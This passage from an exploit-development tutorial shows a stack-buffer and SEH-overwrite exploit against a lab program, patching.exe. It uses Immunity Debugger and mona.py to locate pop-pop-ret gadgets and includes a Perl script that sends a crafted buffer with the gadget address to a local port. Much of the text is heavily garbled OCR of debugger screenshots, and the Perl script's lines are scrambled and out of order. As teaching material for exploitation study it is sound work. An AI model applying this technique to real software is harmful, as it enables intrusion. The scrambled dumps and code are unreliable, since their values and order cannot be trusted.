4 Immunity Debugger - patching.exe - [(PU - main thread, module patching]

@ File View Debug Plugins ImmLib Optiony Mame (abel) in current module Ctrl+Hd
_}% TEE N li ?E 15 Mame in all modules
EEEEICER TELICH FEE . ﬁ
B4R R Backun N All Commands in all modules o
BE401 AR All sequences in all modules i
8401606 Copy » o
B0401010 o
: . ¢
poaaigis|| ey B
SSES%S%E Assemble Space Sequence of commands Ctrl+5 i
apdainiF| | Label : Constant g:
AE4E1AZE Comment 7 Binary string Cirl+E i
B4 1EET T
FE4E]EZC Add Header i e
GO 05 Modif Varidhd All intermodular calls B
BB41 65 odify Variable G
: All commands
fb4nipon||  Breakpoint b b
All sequences
b Run trace 3 i
SSES%SEE All constants I
SSES%SEE Mew origin here Ctrl+Gray .-5.:: s'n:Etnﬁes ) g.
. : ]
Sgigigga En:n”b:n . ' All referenced text strings S:
ollow in Dump

BE4EA1AS0 User-defined label S'
AE4E ] BEE BI
| User-defined comment 1
Find references to ] EET I

m~aa | ll'IIIEI'N ’ | TR =1 ARECAATAl + =

in the appearing popup window type the first command from the previous list, then click to the find

button

Iimp [esp+0xA0]

¥ Entire black

[

Find Cancel |

At the bottom you can read that, there is no such an instruction in this executable:



Patch-based exploit development with /GS and SEHOP bypass

4. Immunity Debugger - patching.exe - [CPU - main thread, module patching]
File View Debug Plugins Immlib Options Window Help Jobs

76/122

OB TE Mx[P U wHEEY lemtwhcPkbzr..s ?ll
BE401606] 5 FUSH _EEF i |
BR4E1061| SBEC MOL EEF, ESP 1= Egilggggsaégp"” < <
BE4E1882| S3E4 FS AND ESF,FFFFFFFS ECY 2RBD1R5S mudl L. 7AE0LASE
BE4A1686) BE C41l0688 MOW ERAR, 1154 — Gl SSSEEReD Sl SAaneran
BR4E166E| ES DOBAOEEE CALL patching._chkstk EpNict e c
BR4G1GE16H| A1 PO2E4EEE HOU EAY, DWORD FTR OS:[__se | Eor anioroes
BR4E16H1E| 2304 %0R ERH, ESP Eerl ==
GE461617| 998424 CB116G6E|HOU DWORD PTR S5:[EsP+1ice | =0f BELc==8d
BE4E1A1E| B3 PUSH EEM o
EA4G16A1F| SE10 48284888 |MOU EBX,OWORD FTR DS: [<aMS
BE4E1625| E6 PUSH ESI EIF 7EE0LASE mydll.7OE01ASE
BR4610826| 57 PUSH EDI -
G0401627| 65 46214008 | PUSH OFFSET patching.??_ce |g § EZ 2223 S=bit GREERREEER)
BE4E162C| Crd4dzd 14 GEEOE( OV DWORD FTR S&:(ESF+131, |0 & 52 0035 S50it of FFFFFFEE)
slaslilasey - FHS) e £ 1 DS 9823 3Zbit BIFFFFFFFF)
BE4E16A2:) 804424 18 LER EAR, DWORD PTR Ss:CESP+ |5 1 B2 PEe= Z=bis BLEFEEFERRL
Ba461620| @ FUSH EAM =8 GG eal
BA4G162E| 628 SC214680 PUSH OFFSET patching,?? c@ | 2
godoldig| EElT SCzodbo@ | CALL DWORD PTR DS:[S&MSVER 1o @ LastEre ERROR_SUCCESS (0@000002)
BR4E1R49| S04C24 39 LER ECH.OWORD FTR S5:[ESP+ § EFL BBEEEZ4& (MO, ME,E,EBE,NS,PE,GE,LE)
BE481040) &1 PUSH ECx STA empty B, AEEEEAREAGEEAEEEAHEE
5T1 empty B.O00DO0E0ERCEEOEEEOE0E
5TZ empty H.H0O0OE0E0CEEE0EEOE0E
5TZ empty B. AOOEOEOERCEEREEEGEEE
5T4 empty B, BEEEOROERCREREEROEGE
Address |Hes dump BEE o f] O012ES2E| BESEEETY t.e. -
GE403006(05 Co 95 14|27 32 4 EB|TFI—) gaioccas| oocoaaoo| oe 3
@B403003| FF FF FF FF|FF FE FE FF| - |_J BB12ES48) BBSLEESE) &
BE462816| FE FF FF FF| 81 B8 66 66| = yn) OFFSET NHC“.l._'Sa'FE‘_'EE‘_handlE‘I“_tablE‘
oaanamis| 2a =1 ab bl as oo oo ool aee | BE1ZES4E| FEEDEEEE|,..p|mydl L. PEEDGGEE
GB403020|61 00 00 08| Co 12 20 oo|m.. |S21ZESAC) BAl-ERad)sod.
BR463022| B8 12 20 06|68 08 A6 a0 PEEEEH| RRriiibs Dol
BR463050| 60 68 B8 GO BE DA 0A 06| . SasET| EEEi T
BR4E26032| B0 G5 GE G5 B 0B 06 06 . Jwintdll.__ewoept_handlerd _I
BR4A3E46| G0 OO GO G668 0O 66 66| . hEEan | LS Ltk
BR4E3R4E| BB G5 OO 06| 66 0 BA A6 ... B
BR4E3R5E) A0 68 B8 66| 66 08 A6 @) ... T PA1ZESes] BE1ZESAC Lp+ %

|Item not found

| |Paused

Then using the same method (right click to the disassembler window, select search for \ command
then typing the instruction test if any instructions from the previous list can be found).
Unfortunately none of the required instructions can be found in the patching.exe.

So we must find another solution. Take a look again to the stack:

AE12EE4C
B3] 2EEEE
A6 1 ZEEE
831 2EEEE
BB 12ESSC
A6 2ECEE

AE12EEER
A1 2ESEC
A1 2EETE
BE12EE74
BE1ZEETE
BE12EETC
a6 1 2ESSE
BE12EC24
AE12ESSE
AE12ERAC
A1 2ES28
A6 1 2EE3d

BE12ES24
GEFEE6ES
BE1ZED4C
Trer?SFAl -G w
BESICZFE [ mriis
FFFFFFFE(m

TrelsFvafu_—w
BR12EC4C| Lps.
BE1ZED4C | Le%.
BA12ECEE [~ ==t
BE12EC2E| p#.
BE1ZED4C | Lot
Tr20EFa0| i_—w
BE1ZED4C | Lo%.
BE12EGS | dpd.
TrelSF4E | k_—w
BR12EC4C| Lps.
BE1ZED4C | Le%.
AR ZEGEE |~

EEL S
iapa
L.

ntdll.__edcept_handlerd

RETURH to ntdll.7720SF73

Fointer to nest SEH record

5E handler

RETURH to ntdll.7720SF4E fi

You find that, the second value under the actual ESP is 0x0012ED4C what is quite close to the
range of our data (0x0012E940..0x0012ED3C)

if you check the stack at the 0x0012ED4C position you will find this is nothing else, but the pointer
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to next Exception Handler. Because we want to overwrite the Exception handler what is after the
pointer to next exception handler it will be overwritten anyhow.

EA1ZEDZE[| 41414141 RARA
FE1ZEDS4 || 41414141 | AAARA
FA1ZEDZE(| 41414141 | AARA
EElZEDSC|| 41414141 | AARA
FE1ZEDSE (| 14294E5BF | q FET
GE1ZEDSd || BE0EE4EE | . #. .
EE1ZED4E(| @@12E92C| .
HE1ZED4C| | BE12FFYE|# #.|Pointer to nest 5EH record
HE1ZEDSA| ] FEOD1ASE| G+.p| S5E handler

FA1ZEDSS || BABEEEEE| ... .
FE1ZEDSE| sBA1ZFF44| O #.
FE1ZEDSC|| @@481268| h4®, | RETURN to patching.B8481268
EEizZEDEE || BE1ZEFSS| Snd.,
FE1ZEDES || BEBEEEEEA| ... .
GElzZEDES|| @@40225C | ~™E, | ASCII "Bytes received: HdEA™
FE1ZEDEC || BEBEEIED | e, .
HE1ZEDVE|| BB4B3388| ©2@, | OFFSET patching.__nat ive_st:
FE1ZEDVS || BEB0EEE]L | @, ..
FE1ZEDAE| | BABEERRA] (...

So if we can find a pop any register, pop any register, retn (pop pop ret) instruction series we can
arrive there. Ok, try to find this kind of instruction. Because there are a lot of different possibilities
it is better to use an application to search for them. This is why we downloaded, and copied the
mona.py to the immunity debuggers directory. Now use it. Go to the commandline, and and type !
mona to get the help of it:

4. Immunity Debugger - patching.exe - [CPU - main thread, module patching]

File Wiew Debug Plugins Immlib Options Window Help Jobs _||5’|i|
OB EE WX P WY+ 1l emtwhcPkbzr.s?|Ji
EEEEEEE S FUSH EEF Regist [FPL Iy <_
BE4E1661( SEEC MOL EEP, ESP e T T
ER4E1EE3| 22E4 Fo AND ESP.FFFFFFFE Ers 2000 098 mydl L. 7OBDIAZE
BR4EIGEE| BD C4116060 MOU ERH, 1104 oo EER) D2S0HRRE U, poBa A B2l
ER4AIAEE| ES DOGAGEGE CALL patehing._chkstk 2o ficeens c
PR4AIA1E| Al BEZA4EEE MOU ER,DWORD FTR DS:[__se | Eon gg)opoeq
PE4E1E1S| 2304 %0F ER, ESP SSE e
BE461617| §95424 CO116EE8|HOW DWORD FTR S5:[ESP+11CE | E0T Aoiccacn
PR4A1A1E[ 53 PUSH EEX o
BR4IAIAIF| SE10 4BZE4ERE | MOU EEX, DWORD FTR DSt [<AMS
BR4A1AZC[ CE PUSH ESI EIF 7BE01ASE mudll.7EE01ASE
PR4E1AZE[ E7 PUSH EOI -
B0401627| &5 48214008 | PUSH OFFSET patching.??_ce | % EZ Do23 Szblt tPFFRFFFR)
BE4E18ZC| Crad24 14 @oeee|MOU DWORD FTR S5:[(ESP+131, |0 1 &5 215 =ebit Bibrbrorcr)
gR4m1azd| FFO3 EALL EEA £ 1 DS 8B23 22bit BIFFFFFFFF)
PE4E1636| S04424 13 LER ERX, DWORD PTR Sm:EsP+ |5 L B2 PE=2 2=bit BLEFEEEERRL
eR4a162a| o FUSH ERX =2 G Geh i
BR4EIGEZE| &2 SCP14EGE PUSH OFFSET patching,?* CE |[ o
podulpdn) EEl sCopdonn | CALL DWORD PTR DS:[<AMSUER 1o @ LastErc ERROR_SUCCESS (0@0@0000)
eR4a1a4a| S04C2d4 o8 LEA ECH DWORD PTR SS: [ESP+  J EFL BEEEAZ4E (MO, ME,E,EBE, NS, PE,SE, LE)
gg4g1e40] o1 PlUSH ECx ol 5TE enpty B, AEEEHEEEHEEEEEEEESEE
ST1 empty B, BEEEEEEEHEEEAEEEAGEE
STZ empty 0. HEEEREEEHEEEAEEEAEEE
STZ empty 0. OEGEHEEEHEEEEGEHHGE
5T4 enpty 8. ARGEHEEEHHGHARGRARGE
Address |Hew dump fec [ ooizEDzo|[ 41414141 6o "
G5403000| 05 Lo 56 14|27 o2 % EB|TFI—f porscnan|| 41414141 | AeAn
oa4a3eas| FE FF FF FF|FF FF FE FR| | BB12EDES | 41414141 BeAR
BR4E2E16| FE FF FF FF| @1 08 68 66| G| e lo el FI
GE463G13( 34 21 48 00\ 60 00 60 o|dre | D21ZEDIE)| 14S94EBE qFe
GE4A3GEZ6( A1 GO 66 68/ C6 19 26 6a|6,. | 2212ED44)| Boaaedad) .6, .
PR4AZAZC( B8 12 20 60| 66 B0 02 66|, 0 Ea e (o ok ] .
BR4EIE36| 60 G0 00 06| 63 G0 G0 06 ... ¥ #.|FPointer to next SEH record
Coanaaan| oo oo oo oa oo oo oa ool o0 |BE1ZEDSE| | TEEO1ASE| G4, | SE handler
DE453640( 00 6O 60 66|08 oo oa oal ... |221ZEDG4|| ggegoees) ... |
BE4G2645( 60 B0 OB 06| 60 GG 6B o6 ... ¢ . .
e o o oe ol e B Ba Bal e desizEner|[ eed@izes| heel | RETURN to patching.BE4B1Z68 from patoh
BE4AZAES| A6 B6 PG A6| 06 06 oo G| ... T G912E0CE) | DB12EF3S) Snd. h
Ihnnna

|Run program ¢F9D |Paused
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You will get a log window:

I=TE

Address |Message ;I
GBEADFEE0| *mona <command> <parameter’

Auailable commands and parameters @

a Backwards compatibility with puvefindaddr, see command "seh'

assemble Convert instructions to opcode. Separate multiple instructions with #
Ju] Set a memory breakpoint on read-write or eMecute of a given address
butearray Creates a bywte arravy, can be used to find bad characters

COMpare Compare contents of a binary file with a copy in memory

conf ig Manage configuration file (mona.ini!

dump Oump the specified range of memory to a file

=t=1-] Create egghunter code

filecompare Compares 2 or more files created by mona wusing the same output comman
find Find bytes in memory

findmsp Find cyclic pattern in memory

getpc Show getpc routines for specific registers

header Fead a binarw file and conwvert content to a nice "header® string
help shaow help

info Show information about a given address in the context of the loaded =
J Backwards compatibility with pwefindaddr j, see command "Jmp"

amp Find pointers that will allow you to jump to a register

Jop Finds gadgets that can be used in a JOP enploit

Jseh Backwards compatibility with pwefindaddr, see command "seh’

noaslr Show modules that are not aslr or rebased

nosafeseh Show modules that are not safeseh protected

nosafesehaslr Show modules that are not safeseh protected, not aslre and not rebasec
of fset Calculate the number of bwtes between two addresses

u} Backwards compatibility with pwefindaddr, se= command *seh’

pl Backwards compatibility with puvefindaddr, see command "seh’

p2 Backwards compatibility with pwefindaddr, ses command "seh’

Create a cyclic pattern of a aiven size
Find location of 4 butes in a cwclic pattern

pattern_create

modu Les E Show all loaded modules and their properties
pattern_of fset i

pc Create a cyclic pattern of a given size - aliazs for pattern_create
po Find location of 4 bwtes in a cyclic pattern — alias for pattern_offs
rop Finds gadgets that can be used in a ROP exploit
ropfunc Find pointers to pointers [(IAT] to interesting functions that can be
=eh Find pointers to assist with SEH owverwrite exploits
skeletaon Create a Metasploit module skeleton with a cwclic pattern for a given
stackpivot Finds stackpiwvots (mowve stackpointer to controlled areal
stacks Show all stacks for all threads in the running application

3 suggest Suggest an exploit buffer structure

] update Update mona to the latest wersion

! HEADFBAD

: BEADFAEHD| Want more info about a given command Y Run frona help <command>

! 'BBADFEED il

There is a command called seh, it states "Find pointers to assist with SEH overwrite exploits", wht
seems to be exactly what we need. So close the log window
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4. Immunity Debugger - patching.exe - [CPU - main thread, module patching]
@ File View Debug Plugins Immlib Options Window Help Jobs - ||5’|£|
OB TE X P U HEEM* lemtwhcPkbzr.s ?ll
BE4B1E6E| GG FUSH EEF i
BE461661 SBEI: MO EEF, ESP 1= Egilggggsaégp"” < <
Ep4p1EmZ| S3E4 Fo AHD ESP,FFFFFFFS ECH BBDIASH mudl L. 7EE01ASE
BE4E1E65| BS C4116008 MOL ERM, 1104 N E SooDEFaD Meg| | S9aDERSD
BR4E1EGE| ES DHERSREE CALL patching._chkstk EBY ooSaa00 :
BE4E1E1E| Al DOZH4000 HOU EAY, DWORD FTR OS:[__se | Eor anioroes
PE4R1E1E| 23C4 %0R ERY, ESP e
GE461617| 998424 CB116G6E|HOU DWORD PTR S5:[EsP+1ice | =0f BELc==8d
BE4E161E| G5 FUSH EEX o
GE40161F| SE10 4@2@4@88 | HOU EBX, DWORD PTR DS:[<&MS
BR4E1625| GE FUSH ESI EIF FEB0LASE mydll.7AE01ASE
BR4E1EZ6| & PUSH EDI :
G0401627| 65 46214008 | PUSH OFFSET patching.??_ce |g § EZ 2223 S=bit GREERREEER)
BR4G1GREC| C74424 14 @E0EEl 00 DWORD FTR SS:CESF+131, |5 5 52 Aass aob.e aiFFFFEFRF)
slaslilasey - FHS) e £ 1 DS 9823 3Zbit BIFFFFFFFF)
BE4R1635| BO4424 183 LEA EAY,DNORD PTR ss:CESP+ |5 L F2 BREE Z5pif SRFPEfrfeel .
eada1e3A| GO FUSH EAX =8 GG eal
BE40163E| &3 SC214008 PUSH OFFSET patching,?? c@ | 2
Ehhent) | R e EEELEEEDEE FTR DS:L<8MSUCR |3 3 | astEre ERROR_SUCCESS (ROBBRRER)
BR4A1A49| S04C24 o8 LEA ECH,OWORD FTR SS:[ESF+ | EFL @B@BE8z4& (MO,ME,E,EBE,NS.FE,GE,LE)
BE481040) &1 PUSH ECx Tl =10 crpty 8. oEEEEREEREERREEREEEE
5T1 empty B.O00DO0E0ERCEEOEEEOE0E
5TZ empty H.H0O0OE0E0CEEE0EEOE0E
5TZ empty B. AOOEOEOERCEEREEEGEEE
5T4 empty B, BEEEOROERCREREEROEGE
Address |Hes dump BEE af] O012ED2E(] 41414141 | AAAR -
GE403006(05 Co o8 14|27 22 -4 EB[TrFi—f gaisEDSd|| 21314131 Aean
BE4E2ER2| FE FF FE FF|FF FF FE FF (R Ehiae 1 heepleeia e
BE4E3616| FE FF FF FF| 61 08 &0 06(s algEDee | 41a1atal) Aana
GB403015| 34 21 40 00|00 6 0o o|4re | 2A1ZEDDA|| 148548EF 1RE
BR4E3EZE| 31 ©F 90 0O CA 19 20 BO|a,. e || B R
BR4A3EZS| B8 13 70 00| 68 B8 80 o8|, 0 DR1ZEDAS | BR1ZESEC) 8% .
PR4ASE36| B0 B0 09 00| B8 06 0B 06| . v #.|Pointer to next SEH record
e Ba12E0SE| | 7EE01A28| ¢+, p| SE hand Lex
BE4E3646( B0 BE G0 GO|EA BE GO GO . e | M an o] oD |
BE4EIE45| BB OE PO 00| GO 0N 00 06| . ¢ . .
OR4PZRSE| A0 oo BE 00| Pe Ba B8 A@ ¥ | a1 2EDCE| | BB12EFSS| Sns. -
Ihnuna seh
|Exe-::ute till return <Ctrl+F2> |Paused
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Then you should wait... for a bit long. Then take a look to the log window (if not appears

automatically click to the 1 button small L the first button):

4. Immunity Debugger - patching.exe - [Log data] O

File View Debug Plugins Immlib Options Window Help Jobs _||5’|£|

OB ETE «x P N WHHEY+ lemetwhcPklbzr.s ?[ll
Address |Message ﬂ
rop i Finds gadgets that can be ysed in a ROFP exploit
ropfunc ! Find pointers to pointers [(IAT) to interesting functions that can be u
= ! Find pointers to assist with SEH overwrite exploits
skeleton | Create a Metasploit module skeleton with a cuclic pattern for a given
stackpivot i Finds stackpivots (mowve stackpointer to controlled areal
stacks | Show all stacks for all threads in the running application
suggest | Suggest an exploit buffer structure
update | Update mona to the latest wversion
HEAOFEAED
HWEBAOFEAD| Want more info about & given command ¥ RBun *mona help <commands
HEADFEAED
—————————— Mona command starcted on 2011-88-23 @@:25:48 ————————-
HEADFEED| [+] Processing arguments and criteria
HEADFEAED - Pointer access lewel &
HEACDFEED| [+] Generating module info table, hang on...
HEAOFEAED - Processing modules
HEAOFEAD - Done. Let's rock "noroll.
HEACDFEED| [+] Buerwing 1 modules
HEAOFEA0 - Buerying module patching.ere
HEADFEE0| [+] Generating module info table, hang on..
BEADFEE0 - Processing modules
HEADFEAED - Done. Let's rock "n oroll.
HEACDFEED] [+] Buery ing memory outside modules
HEAOFEAED - Search complete, processing results
HEACDFEED| [+] Preparing log file "seh.tut’
HEADFEAED - [Relsetting logfile seh.tut
HEADFEED| [+ Writing results to seh.tat
HEADFEE0n - MHumber of pointers of type "pop ebd # pop ebp # et " 2 1
BEADFEE0 - Mumber of pointers of twpe "pop edi # pop esi # ret © @ 2
HEADFEAED - Mumber of pointers of twpe "pop ecH # pop ecH # ret " @ 1
HEACDFEED) [+] Results :
HE4E1591 En@R4E189]1 @ pop eb? # pop ebp # ret | startnull {PAGE_EXECUTE_RERADY} [patching.exe] HASLR:
HE4E1 709 BrAR4E17de @ pop edi # pop esi # ret | startnull {PAGE_EXECUTE_RERDY} [patching.exe] BSLR:
HE4E1FFF HrBAH4E17Ef @ pop edi # pop esi # ret | startnull {PAGE_EXECUTE_RERDY} [patching.exe] HASLR:
HE4E1473 BrAE481473 @ pop ecH # pop ecH # ret | startnull,asciiprint,ascii {PRAGE_EXECUTE_READY} [pat
HEADFEE0| Done. Found ¢4 pointers
Aot ion ook D:E@: 18, 72008 -
Ihnuna seh

|Ehuw call stack <Alt+K>

| |Paused

As we can see there are four addresses good to us. From the list I choose the last one 0x00401473.

So the new perl code (a3.pl) will be the following:

use I0::Socket;

my $sock = new IO::Socket::INET

PeerAddr => '127.0.0.1",
PeerPort => '12345",

Proto

) ;

die "Error:

=> VthV’

my $line = "\xCC" x 1040

my $len

close ($sock) ;

length $line;
my S$msg = pack "L", S$len;

print $sock Smsg . $line;

S!\n" unless S$sock;

(

"\x73\x14\x40\x00";
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save this perl script, then close the debugger, and restart the applicationType 0 as number, to trigger
the exception handling:

.| Administrator: Command Prompt - patching.exe

:s0ld>patching.exe
nter a number if B division by zero fires the exception handler:

start the immunity debugger again, and from the file menu select the attach command

4. Immunity Debugger - [CPU]

C View Debug Plugins ImmLb Options Window Help Jobs
| Open F3 2ilivs)= 1 emt
Debach
Exit Alt+¥%
1 C:\Old\patching.exe Cirl+F2

in the appearing window select patching, then click on the attach button:

Find: PA =]
P10 Harme Service Listening I i n o Fath -
1628 | postares C:~FPROGE
1728 | postares C:~FPROGE
1780 | postgres C:~FPROGE
17258 | postares Cz~FROGE
1795 | postares Cz~PROGE
15864 | postgres C:~PROGF
1852 | swchost FPolicwAgent Cz~Windo
1264 | suchost RemoteRegistry Cz=lWlindo
1944 | swchaost W2EUC, WAS Cz~Windo
1956 | swchost WerSuwe Cz~Windo
2E32 | medtc MSOTC Cz~lWindo
21868 | taskeng CiceralIlndFrame Cz~lindo
2164 | Owm OWM Mot ification Window Cz~lindo
2212 |Edplorer Start Cz~indo
23660 | UBonTraw UBoxSharedCl ipboardClass Cz~Windo
2484 | cmd Administrator: Command Pool C:-llindo
2544 | omd Administrator: Command Pool C:~Windo
Z2aal | patching Ca~0ld~p™_]
ZA72 | suchost TapiSryw Ci~linda ™

Altach I Cancel I

After the attach the application will be in paused starte so start it by clicking to the play button
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4. Immunity Debugger - patching.exe - [CPU - thread 00000BC4, module ntdil]

@ File View Debug Plugins Immlib Options Window Help Jobs

=18 x|

82/122

| BE 4 2f U4 »f

l emt/lwh cecPkbzr

s 7 !!!I

B EE X p |
3 =]

77 z FETH i
TreBEEDR| E7 FUSH EOI - EgiligﬁgzaéEPU] S
SCSEinit| Eecae ms HOU ER.DUORD TR o8; |ECY Bo@acmos
7rEESE3S| CP@Z GEBPEEE | MOU DWORD PTR OS:(EDx | S0 freftzed ntdll.DbsliRemorsbreskin
FPEESESF| S47A B MOU DWORD PTR DS:[ED% | ESs 2EEEEERE
7reEcEdz| BEFE OR EDI,EDI ESF oEErEEC
SR nk,  |EEThamee (SR
PrEESE4S| Zach wOR EA%, EAX L} Enr conaanna
7roECEAF| 21F3 FFFFe@@E | CHP ECH, BFFFF Sl A daataEy
FFEESESE| 76 65 JBE SHORT ntdll.7rees |G} EZ ZB1E S=pit BIFEEEEEERS
FFSESECY| BO FEFFGRGEE MOU ECH, BFFFF e R
PPEESECC| £5:894A B2 Mou WORD PTR Ds:CEDwe |5 1 BS 9228 S2pir QIFFFERFFE)
PPEESEED| 49 OEC ECH Rl i
PPEESEEL| £5:898A Mo WORD PTR Ds:rED¥1 |1 3
;;EEEEE; EE T EE?HEEI 0B LastErr ERROR_SUCCESS [QREREHEE1
FFEESEES| B FUUSH EDI « | EFL oomeez4s (MO,ME,E, BE,MS, PE, GE, LE)
clcie] L] el N =1 = o e - B - | —
Return to rrefCoHE (ntdll. rrer CoHE] §¥? gmg;g S'SSSSSSSSSSSSSSSSSSSS
STZ empty B, BEBRDERBEREEHEEABERE
ST3 ewpty 0. BDOABOOADADADORGOGND
Add H d asi rreFC2A8] AF-w| RETURM to ntdll.7r2FCOAE from ntdll. Db
T=== \hes SURR 2 55CFFen| roSFozBE| fe_p -
DB403000| 03 85 70 63| FL FO B OC| eeimf DOcCFEoH| CHSFocab
BE4BZ08Z| FF FE FF FF|FF FF FF FF HEEiE) S oo
BE4AZR16| FE FF FF FF|B1 05 69 06| ek e
De483013(34 21 40 oo| @6 oo oo oo 4t | 29SCEREC) Geaasmae) ...
op4p3028| 61 B9 00 60| co 19 ic gols,. |PESCEECH) PRcCEReR)” .-
dosoco|on 1a L ool B oo oo 28l-"  |emecrrrs| meecEFC4|s . l|Pointer to newt SEH record
- BEECFETC| TrerosFA| -G w|SE handler
BE4AZAEIC| PO DO BD B0| 00 0D BB 66| .
BEECFESE| BYSFA425E| [E_
BO4ASG40| PO DO PO BO| B0 0D BB GO| .
BEECFFEd| PORBEREGE| . ...
BO4AZA4E| PO BO PO BO| 06 0B BB GOl . .
BR4E3RCH| A6 GF G5 06| G 03 A A0 BOZCFRSS) FARZCFEI4 & .. ||
aezcrFan| | 77RA0RES| 8l u| RETURN to kernelZ2. 77ERADEES
DE453655( 00 6O 60 65|08 0 0 06| .. . f S2SCEESC| frenbeEs -
| ARdrsAER| AR AR GE AR AR AR GE AR

|Ehuw threads

|Paused

The application will continue to run:
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4. Immunity Debugger - patching.exe - [CPU - thread 00000BC4, module ntdil]
@ File View Debug Plugins Immlib Options Window Help Jobs

(=] F3
=8| x|

83/122

OB ETE Mx 2 w¥HLEY 1l emtwhcPkbzr.s?[Jj
772BoE2F I RETH i < |
LR S eoc | P e oucr prr se [T CoEE —
: P |ECH eR@am@ae
FFOESESS| GESAP4 GO MOU EDX,OWORD PTR S5: - -
7rEESE3S| CP@Z GEBPEEE | MOU DWORD PTR OS:(EDx | S0 freftzed ntdll.DbsliRemorsbreskin
FPEESESF| S47A B MOU DWORD PTR DS:[ED% | ESs 2EEEEERE
7reEcEdz| BEFE OR EDI,EDI ESF oEErEEC
SR nk,  |EEThamee (SR
PrEESE4S| Zach wOR EA%, EAX L} Enr conaanna
srebondn F2inE REPNE SEAS BYTE PTR E | EIP 772BSB2F ntdll.7ressezs
FFEESE4F| 51FS FFFFOGEE | CHP ECH, BFFFF LG 2s Eoes seoli BUAAAPAAS)
772BsEss| 78 95 JBE SHORT ntdll.7rees |G} EZ ZB1E S=pit BIFEEEEEERS
772BSE57( B9 FFFFO@0 ol ECi, BEFFF e R
PPEESECC| £5:894A B2 Mou WORD PTR Ds:CEDwe |5 1 BS 9228 S2pir QIFFFERFFE)
PPEESEED| 49 OEC ECH Rl i
7rEeEel| 66:590R HOY UGHD PTR DS: (EDX1 |,
ez G e 2 08 LastErr ERROR_SUCCESS (@GAGGHHE)
FFEESEES| B FUUSH EDI « | EFL oomeez4s (MO,ME,E, BE,MS, PE, GE, LE)
rrEB8Bes
e 5TB empty ©.BORROREROGREEEOEEOGEE
Return to FreFCORE (nedll. FreFCoAm) S0 Shers B fananaasancasananao
enpty .
ST3 ewpty 0. BDOABOOADADADORGOGND
Add H d asi rreFC2A8] AF-w| RETURM to ntdll.7r2FCOAE from ntdll. Db
T=== \hes SURR 2 55CFFen| roSFozBE| fe_p -
DB403000| 03 85 70 63| FL FO B OC| eeimf DOcCFEoH| CHSFocab
BE4BZ08Z| FF FE FF FF|FF FF FF FF HEEiE) S oo
BE4AZR16| FE FF FF FF|B1 05 69 06| ek e
De483013(34 21 40 oo| @6 oo oo oo 4t | 29SCEREC) Geaasmae) ...
Bb4paosn| 66 15 1C o8| oo op oo oa|.h. |B92CFEc4| semssess| ..l
AR4ASAZE| B BRA PR BE| BA @A @@ @6 . BRSCFErE| Trewanrnl -t SELE Egl B Gk I
AR4ASEZE| AR BA BE BE|EE BE @@ @6 . BRSCFFLh| HrEFASE| [B i SICILE U}
Ba483045| 66 b8 b6 65| 6b 05 ba aa| ... |9ezcrred| peseesés)..T
BE4GIEEA( 00 BE 0O BO| 00 DO 0O @6l . bR TEEEn R ) oo |
aezcrFan| | 77RA0RES| 8l u| RETURN to kernelZ2. 77ERADEES
DE453655( 00 6O 60 65|08 0 0 06| .. . f S2SCEESC| frenbeEs -
| ARdrsAER| AR AR GE AR AR AR GE AR

|Run program (F9>»

| |Running

now the application is running. Finally send to it the data by running the a3.pl

.| Administrator: Command Prompt

~0ldrxa3d.pl
=~01d>

The application stops because of the division by 0 error
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4. Immunity Debugger - patching.exe - [CPU -
File View Debug Plugins Immlib Options Window Help Jobs

main thread, module mydil]

84/122

=18 x|

FENEISRTE T

2 I

+ =i

l emtwhocecPk©bzr

s 21l
<

FreO G TOIL DWORD PR S%:LEE 7
TAEDlbre| SO4E B0 MOL DWORD PTR S5: [EER = EEELZEEEEEQEPU] e
74621672 EB BO JHP SHORT mudll. 74621 | EFY Soaaoans
7462167E| Cr4E FC FFFFFFFI A0V DWORD PTR 55: (EEF N0 E00 Aanaomme
Cipnaig| H eRa noy ERR,mudll. 7462188 | Fpy eBEDIDCC MSUCRA.printf
Gl SIS G TR LR BRI Rce | oo soucenes
sacoiooa| £4:5960 6666GGAI MDY DIORD PTR FS: (4], By Liiad R EroclEnEaeEiet
7462185A| BF FOF EDT EIF 74621873 mydll. 74621873
746216%6| SE POP ESI :

C @ ES 8823 22bit O(FFFFFFFF)
ragz1@3c) 5B POF EBR . IF @ c: @piE 32bit BiFFFFFFFF)
74521690 2B40 ES MO ECX,DWORD FTR S5t |5 8 55 Goss oonir GfFFRFEFEE)
74621606 2200 ¥OR ECH,EBP !

. Z @ D% 8823 32bit BiFFFFFFFF)
v4E218R2 E2 B48080686 CALL F"IHE”.[. secur Lty S A FS BA3ZE 22bit FFFOFBEALFFF)
74521607| SBEE HOU ESE, EBF S0 L
7462168A3( 50 FOF EEF .

] B 18306274 EEEHEEH DUORD TR DS; |0 @ LestErr ERROR_SUCCESS (@@88060A)

74621861 | 75 B2 gggc§ﬂﬂﬁlnmydll 74621 % | EFL BBE18202 (MO,ME,NE, A, NS, PO, GE, 5]
: 5TE empty @.FREOEREOEREOEREAEREE

Stack 55:T0012E0EA1-0000RRGE ST1 empty B, ERCEOEDCEEE0EREE0E0E

ST2 empty 6. OEGEEEGEGEGEEEGEEE6E

ST3 empty 6. BEEEOEEEEEEHEEEGEE0E
Add Hex d EDGE2ELT] [+oo
Do40u000| 03 b6 {H £3 FC F3 05 o0 ) B P oo =
mE482582| FF FF FE FF|EF FE FF FF BE1ZES34| FEF9330C| . 3-u| WS2_32.closesocket
i e g g i BE1ZESSS| SEEDIOCC| fFmk | MSUCRSE. printf

BELZESSC| AEEGAGIL|A...
PE4E2E1S( 34 21 40 00|66 00 00 00 ens
BELZES4E| CCCCCCOC| [EHER
PE4G2626(B1 PG 68 68| CH 12 1C 68 FIFIFIE
BELZES4d| COOCOOOC| [ElFER
PR4ESAZS( B8 13 1C 06|66 80 B8 6@ et S e
PR4GEZ6E36| 60 PR G5 06| GO 6O OB 66| . FIFIFIE
BELZES4C| CCOCOCOG| IFFFR
BR4AZE2C| 60 PR 0D 00| GO BR 0D 66| . FIFIFlr
BELZESEE| CCCCOCOG| IFFFF
BR4AZRI0( B0 PR 0D 00| 68 0O 0D 60| . FIFIFlr
BELZESE4| CCOCCCOC| [FFFR
PR4AZR4S| B0 BR 0D 60| GO 08 0D 60| . FIFIFlr
SERn R o R Sl e R B e BELZESES| CCCCCCOC| [FIFFF
BR4EIEES| 60 G0 00 00| 68 G0 60 06| .. e SoL12E3SC) CCCCCCCC) P -
| ARAASAEA]| AR AR AR AARLAR B8 AR AR BE12E3cE| COCCCCCD) PP
|[Bl 21 56] Integer d1u131un hy Zero — use 5h1ft+F7/FB/F9 tu| |Paused

scroll the stack window to the end of the "\xCC"

